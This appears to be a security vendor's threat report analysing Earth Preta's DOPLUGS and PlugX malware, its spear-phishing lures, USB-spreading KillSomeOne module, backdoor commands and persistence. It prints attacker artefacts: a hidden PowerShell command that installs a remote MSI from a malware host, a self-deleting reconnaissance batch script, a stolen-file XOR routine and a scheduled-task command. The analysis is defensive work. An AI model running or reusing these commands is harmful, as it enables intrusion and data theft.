^{Table 1. Noteworthy DOPLUGS files, with some referencing the 2024 Taiwan elections}

The content of the decoy file 水源路二至五期整建住宅都市更新推動說明.pdf is related to an urban renewal project in Taiwan (written in traditional Chinese).

The decoy file Үер усны сэрэмжлүүлэг.pdf involves a flood warning in Mongolia, written in Mongolian.

Looking at VirusTotal data (targeting Asia) from 2022 to 2023, we observed that perpetrators of the campaign primarily targeted Taiwan and Vietnam, with lower counts from other Asian countries like China, Singapore, Hon Kong, Japan, India, Malaysia, and Mongolia. 

Spear-phishing emails as Initial Access

The spear-phishing emails sent to victims are embedded with a Google Drive link that hosts a password-protected archive file, which will download DOPLUGS malware. Figure 4 shows a sample email. 

The malicious Windows shortcut files (LNK) seen in Table 1 are as disguised as documents and archived in an RAR file. The target command in the LNK file is as follows:

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe   -windowstyle hidden $install=New-Object -ComObject ‘WindowsInstaller.Installer’;$install.uilevel = 2;$install.InstallProduct(‘https://getfiledown[.]com/vgbskgyu’,’REMOVE=ALL’);$install.InstallProduct(‘https://getfiledown[.]com/vgbskgyu’) .SsEWyTjKIfqnOTtTycNpSuEH.pdf

When the victim selects the LNK file, a MSI file will be downloaded from https://getfiledown[.]com/vgbskgyu, after which it will drop the following files for further execution:

• %localappdata%MPTfGRunFbCnOneNotem.exe (legitimate executable)
• %localappdata%MPTfGRunFbCnmsi.dll (malicious DLL file)
• %localappdata%MPTfGRunFbCnNoteLogger.dat (encrypted payload)

Analysis of the tools used in the campaign

In this section we will go through the detailed analysis of DOPLUGS, DOPLUGS with the KillSomeOne module, and the general type of the PlugX malware. Before introducing the malware, we would like to summarize all the published reports related to the analysis in this section, using the timeline here for reference:

The timeline indicates the publishing time, the title and source of the report, and the related malware family.

The DOPLUGS downloader

DOPLUGS is a downloader with four backdoor commands, one of the commands is designed to download the general type of the PlugX malware. The details of the payload decryption and execution flow were previously discussed by Lab52 in December 2023. Our own analysis will instead focus on backdoor behavior.

Infection flow

Table 2 shows the list of files that are part of the infection flow.

^{Table 2. File list of the LNK file “水源路二至五期整建住宅都市更新推動說明,” which translates to “Explanation of Urban Renewal Initiative for Residential Development in Phases Two to Five of Shuiyuan Road”}

Backdoor behavior

Since 2018, Earth Preta has constantly updated the backdoor command sets in the PlugX malware, which has at least four generations according to our observations:

1. PlugX (No given name for this version)
2. REDDELTA
3. Hodur
4. DOPLUGS

In summary, the backdoor command for the first three versions can be divided into two groups. The first group (0x1001) contains the functions customized by the threat actor, while the second group (0x1002) is copied from the general type of the PlugX malware. However, in DOPLUGS (the latest version), the backdoor command set only has four commands, with the functions shown in Figure 8.

^{Table 3. DOPLUGS backdoor commands.}

Whether sending or receiving data to and from the C&C server, it will be encrypted or decrypted with the RC4 algorithm, which is 0x20 bytes retrieved from the C&C server (however, it is not fixed).

We also observed another variant (dca39474220575004159ecff70054bcf6239803fcf8d30f4e2e3907b5b97129c) that has different backdoor command values, but with the same functionality (shown in Table 4).

^{Table 4. Another version of the DOPLUGS backdoor commands}

Interestingly, this DOPLUGS version abuses legitimate Adobe application to lure victims (with most of the samples VirusTotal sourced from Vietnam). According to the evolution of the backdoor command, we suspect that the original purpose of the 0x1002 group in the previous version is for file delivery only. This also explains why the 0x1002 group has been removed from this version, since the downloader behavior for the next-stage payload is replaced by the 0x3004 backdoor command.

The general type of the PlugX malware

In this section, we will introduce the general type of the PlugX malware that is downloaded via the backdoor command 0x3004 in DOPLUGS. Fortunately, we were able to download two types of final payloads from the C&C server for our analysis. Table 5 shows the downloaded files.

^{Table 5. List of general PlugX malware types downloaded via DOPLUGS}

According to a report published by Palo Alto, these samples of the general PlugX malware might be modified from the THOR PlugX based on the following observations:

1. Both have a similar code structure in DLL loaders.
2. Both have the same shellcode before entering the PlugX main function.
3. Both have the same argument in the command-line execution.

^{Table 6. File list of the type 1 general type of the PlugX malware}

When the adobe_licensing_wf_helper.exe file is launched by DOPLUGS, the command line will not have any argument. The execution flow is as follows:

1. The adobe_licensing_wf_helper.exe file is for installation and setting persistence.
2. The adobe_licensing_wf_helper.exe 600 0 file injects itself into %SystemRoot%system32WerFault.exe with arguments 601 0.
3. The “%SystemRoot%system32WerFault.exe 601 0 file executes the backdoor command.

Here is the functionality of each first argument:

^{Table 8. File list of the type 2 general type of the PlugX malware}

The command-line argument is replaced from 6xx to 7xx but keeps the same functionality.

Another part is the configuration decryption. In the type 1 PlugX malware, the configuration section is shown in plain text after decryption, but for type 2, it’s still encrypted. The configuration data will need to be decrypted again with the RC4 key qwedfgx202211 only when the process needs it.

^{Table 9. The configuration structure of the type 2 PlugX malware}

Integration with KillSomeOne

While hunting for more DOPLUGS related samples, we came across a DOPLUGS variant with KillSomeOne functionality. The KillSomeOne module is a plug-in specializing in malware distribution, information collection, and document theft via USB. It expands the ability for infection so that initial access methods are not limited to phishing or decoy documents.

The KillSomeOne module was first introduced in a November 2020 Sophos report. The DOPLUGS variant with the KillSomeOne module has high similarities with the previous DOPLUGS variant we analyzed, with one of the major differences being the infection method. It has four components: a legitimate executable, a malicious DLL, an encrypted payload, and an encrypted PE file. This variant has an extra launcher file that executes the legitimate executable to perform DLL-sideloading behaviors.

^{Table 10. File list of the DOPLUGS variant with the KillSomeOne module}

The loader

The loader InstanceFinderDlgUI.dll, compiled by Golang, is the only one we found. Figure 20 shows its functions.

Its execution flow is as follows:

• It reads the encrypted payload, InstanceFinderDlg.dat in the same folder.
• It decrypts the encrypted payload by XOR with the single key, 0x73.
• It enters the decrypted payload by main_NTCreateThreadEx.

The payload behavior

The payload process is similar to the regular DOPLUGS variant. The function checks the argument of the command line HPSmart.exe “argument”. There is no argument in the first execution: It only sets up persistence and relaunches itself with the argument, which is  the three-digit random number. We list the command-line arguments and their corresponding behavior in the following table:

^{Table 11. The behavior of each command-line argument}

Setting up Persistence

Persistence is set up via the following steps:

1. The function copies all the files to the installation directory, C:UsersPublicHPSmartMZWx.
2. It sets up the value C:UsersPublicHPSmartMZWxHPSmart.exe xxx in the registry SoftwareMicrosoftWindowsCurrentVersionRun key for persistence.
3.  It creates Process C:UsersPublicHPSmartMZWxHPSmart.exe xxx.

KillSomeOne Thread

The KillSomeOne thread has two major behaviors, the first of which removes all traces related to previous pieces of PlugX malware, including files, process, registry, and scheduled tasks.

^{Table 12. Removing traces of the previous piece of PlugX malware}

The second behavior is related to USB infection. It applies the API DeviceIoControl  with the parameter 0x2d1400 to identify the USB drive. It then creates three threads in the targeted USB drive, which we detail in the following sections.

Thread 1: Worm behavior in USB drive (Lateral Movement)

This thread creates the mutex USB_NOTIFY3_INF_{USB_volume} for mark. Before the worm behavior, these registries are enabled to hide the file extension and the folders that contain malware and stolen documents.

• HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced, Hidden=0
• HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced, ShowSuperHidden=0
• HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced, HideFileExt=1

In infected USB drives, the four components are copied into the hidden folder.

• HPReport.exe to {USB_volume}:Usb Drive1.05.dat
• HPSmart.exe to {USB_volume}:Usb Drive1.06.dat
• InstanceFinderDlgUI.dll to {USB_volume}:Usb Drive1.02.dat
• InstanceFinderDlg.dat to {USB_volume}:Usb Drive1.0InstanceFinderDlg.dat

The decrypted launcher, HPReport.exe, is copied to {USB_volume}:Usb Disk ({free space of USB}).exe, (which is disguised as a USB drive) and duplicated with the name opn-U({free space of USB}).cmd.to the following folders:

• {USB_volume}:AVASTProtection for Autorun
• {USB_volume}:SMADAVSMADAV
• {USB_volume}:Removable Disk

The KillSomeOne module specializes in USB infections. The launcher pretends to be a fake USB disk to lure victims into selecting it — a convincing guise unless users check the extension. The purpose of the launcher is simple: It renames 2.dat to InstanceFinderDlgUI.dll and executes 6.dat, which is the executable file that will sideload the InstanceFinderDlgUI.dll file via DLL sideloading.

All the files under these folders will be copied to {USB_volume}:Usb Disk:

• {USB_volume}:
• {USB_volume}:Kaspersky
• {USB_volume}:KasperskyUsb Drive
• {USB_volume}:Usb Drive3.0
• {USB_volume}:KasperskyRemovable Disk (Including files in subfolder)
• {USB_volume}:AVASTProtection for Autorun (Including files in subfolder)
• {USB_volume}:SMADAVSMADAV (Including files in subfolder)

Thread 2: Information or file stealer (Collection)

This thread creates the mutex, USB_NOTIFY3_COP_{USB_volume}, for mark. There are two kinds of stealing conditions, each of which we discuss here:

First condition: Steals the document files

If the connection succeeds in connecting to https://www.microsoft.com/, it will check the file extensions in these predefined folders:

• {USB_volume}:KasperskyUsb Drive1.0
• {USB_volume}:Usb Drive1.0
• {USB_volume}:.SystemDeviceUSB3.0KasperskyUsb Drive1.0
• {USB_volume}:.SystemDeviceUSB3.0Usb Drive1.0

If the file extensions are not .cmd, .bat, or .dll and the file name is not RECYCLERS.BIN, it will transfer the file to %userprofile%AppDataRoamingRender1.0  and empty the content of the original file.

We also found another functionality, but it seems that it has not been implemented as of this writing. This functionality collects all files under the same folders and looks for the files with the following extensions:

• .doc
• .docx
• .ppt
• .pptx
•  .xls
• .xlsx
• .pdf

Afterward, it will encode the file name with base64, encrypt the file content, and copy the file to the folder of the current process.

Here is the XOR algorithm to encrypt the stolen files:

encrypted_contents = []

encrypted_key = 0x6D

for i in range(len(contents)):

    encrypted_contents.append(contents[i] ^ encrypted_key)

    encrypted_key += 0xAA

Second condition: Steals victim information

If the connection fails, the thread checks the value in registry (HKCU|HKLM)SystemCurrentControlSetControlNetworkVersion, which does not exist. Afterward, it creates and executes the batch script %temp%edg{value of QueryPerformanceCounter}.bat to collect the information of the victim.

%comspec% /q /c systeminfo >”%~dp0AE353BBEB1C6603E_E.dat”

%comspec% /q /c ipconfig /all >>”%~dp0AE353BBEB1C6603E_E.dat”

%comspec% /q /c netstat -ano >>”%~dp0AE353BBEB1C6603E_E.dat”

%comspec% /q /c arp -a >>”%~dp0AE353BBEB1C6603E_E.dat”

%comspec% /q /c tasklist /v >>”%~dp0AE353BBEB1C6603E_E.dat”

del %0

The output data will then be encrypted and dropped to {USB_volume}:Usb Drive1.0 {value of SOFTWARECLASSESms-puCLSID}.dat.

Thread 3: Execute encrypted batch script

This thread creates the mutex, USB_NOTIFY_BAT_H3_{USB_volume} for mark, which will be executed only under these conditions:

• When connection with https://www.microsoft.com fails
• When there is no value in SystemCurrentControlSetControlNetworkversion (this registry is enabled when argument of cmd line = “-net”)

The thread will search all batch scripts inside the following folders:

• {USB_volume}:Usb Drive1.0p
• {USB_volume}:KasperskyUsb Drive1.0p
• {USB_volume}:.SystemDeviceUSB3.0Usb Drive1.0p

If the batch script name does not contain the strings tmpc_ or tmp_, the script will be decrypted via XOR algorithm, which is the same as the file encryption in the thread 2 subsection. The new batch will then be created in %temp%{value of QueryPerformanceCounter}.bat and executed by ShellExecuteW with the following contents:

{USB_volume}
cd “{USB_volume}:target folder”
{decrypted contents in batch file}
del %0

DOPLUGS backdoor behavior (Command and Control)

This behavior is the same as the original piece of DOPLUGS malware and is responsible for C&C communication, backdoor commands, and downloading the next-stage general type of the PlugX malware.

Enabling Wi-Fi connection

The following command line is executed to set up scheduled tasks to enable Wi-Fi connection:

• cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn “Security WIFI Script” /tr “netsh interface set interface “””Wireless Network Connection””” enabled” /ru SYSTEM /F&schtasks.exe /run /tn “Security WIFI Script” 
• cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn “Security WIFI2 Script” /tr “netsh interface set interface “””Wireless Network Connection 2″”” enabled” /ru SYSTEM /F&schtasks.exe /run /tn “Security WIFI2 Script” 
• cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn “Security WIFI3 Script” /tr “netsh interface set interface “””Wireless Network Connection 3″”” enabled” /ru SYSTEM /F&schtasks.exe /run /tn “Security WIFI3 Script”

Old variant

In addition to DOPLUGS, we hunted down several customized PlugX malware samples that are also equipped with the KillSomeOne module. Based on our investigation, this integration would have been active for three years, with the report published by Avira being the first to reveal this technique. The sample mentioned in Avira’s report is the first PlugX variant with the KillSomeOne module designed for spreading via USB.

The following table is a list of different PlugX malware types with integrate KillSomeOne variants:

^{Table 13. Different stages of evolution for KillSomeOne + PlugX}

Upon checking backdoor commands of these PlugX malware types, we found an additional variant that serves as the transition from DOPLUGS to Hodur. This version keeps the disk module of the general type of the PlugX malware, although here the customized backdoor command is modified to the improved DOPLUGS type (unlike the original DOPLUGS variant without any module from the general type of the PlugX malware). Another impressive feature is that the KillSomeOne + Hodur variant has two categories of C&C servers for communication: the first one as a regular C&C server to receive backdoor commands, while the second one is designed to download payloads for process injection in svchost.exe.

Conclusion

Earth Preta has primarily focused on targeting government entities worldwide, particularly within the Asia-Pacific region and Europe. Based on our observations, we believe Earth Preta tends to use spear-phishing emails and Google Drive links in its attacks.

We explained the purpose of the DOPLUGS malware (which we believe has been in use since 2022), one of the primary tools Earth Preta uses to download the general type of the PlugX malware. While hunting for other samples, we discovered a DOPLUGS variant that has KillSomeOne module integration and that can be traced back to 2018. This shows that Earth Preta has been refining its tools for some time now, constantly adding new functionalities and features.  

Over the course of our investigations into Earth Preta’s activities, we have observed that the group remains highly active, particularly in Europe and Asia. It is likely that we will hear more from this group in the future, so it is a good idea for security teams to familiarize themselves with how Earth Preta operates.

MITRE ATT&CK

Indicators of Compromise

The indicators of compromise for this entry can be found here.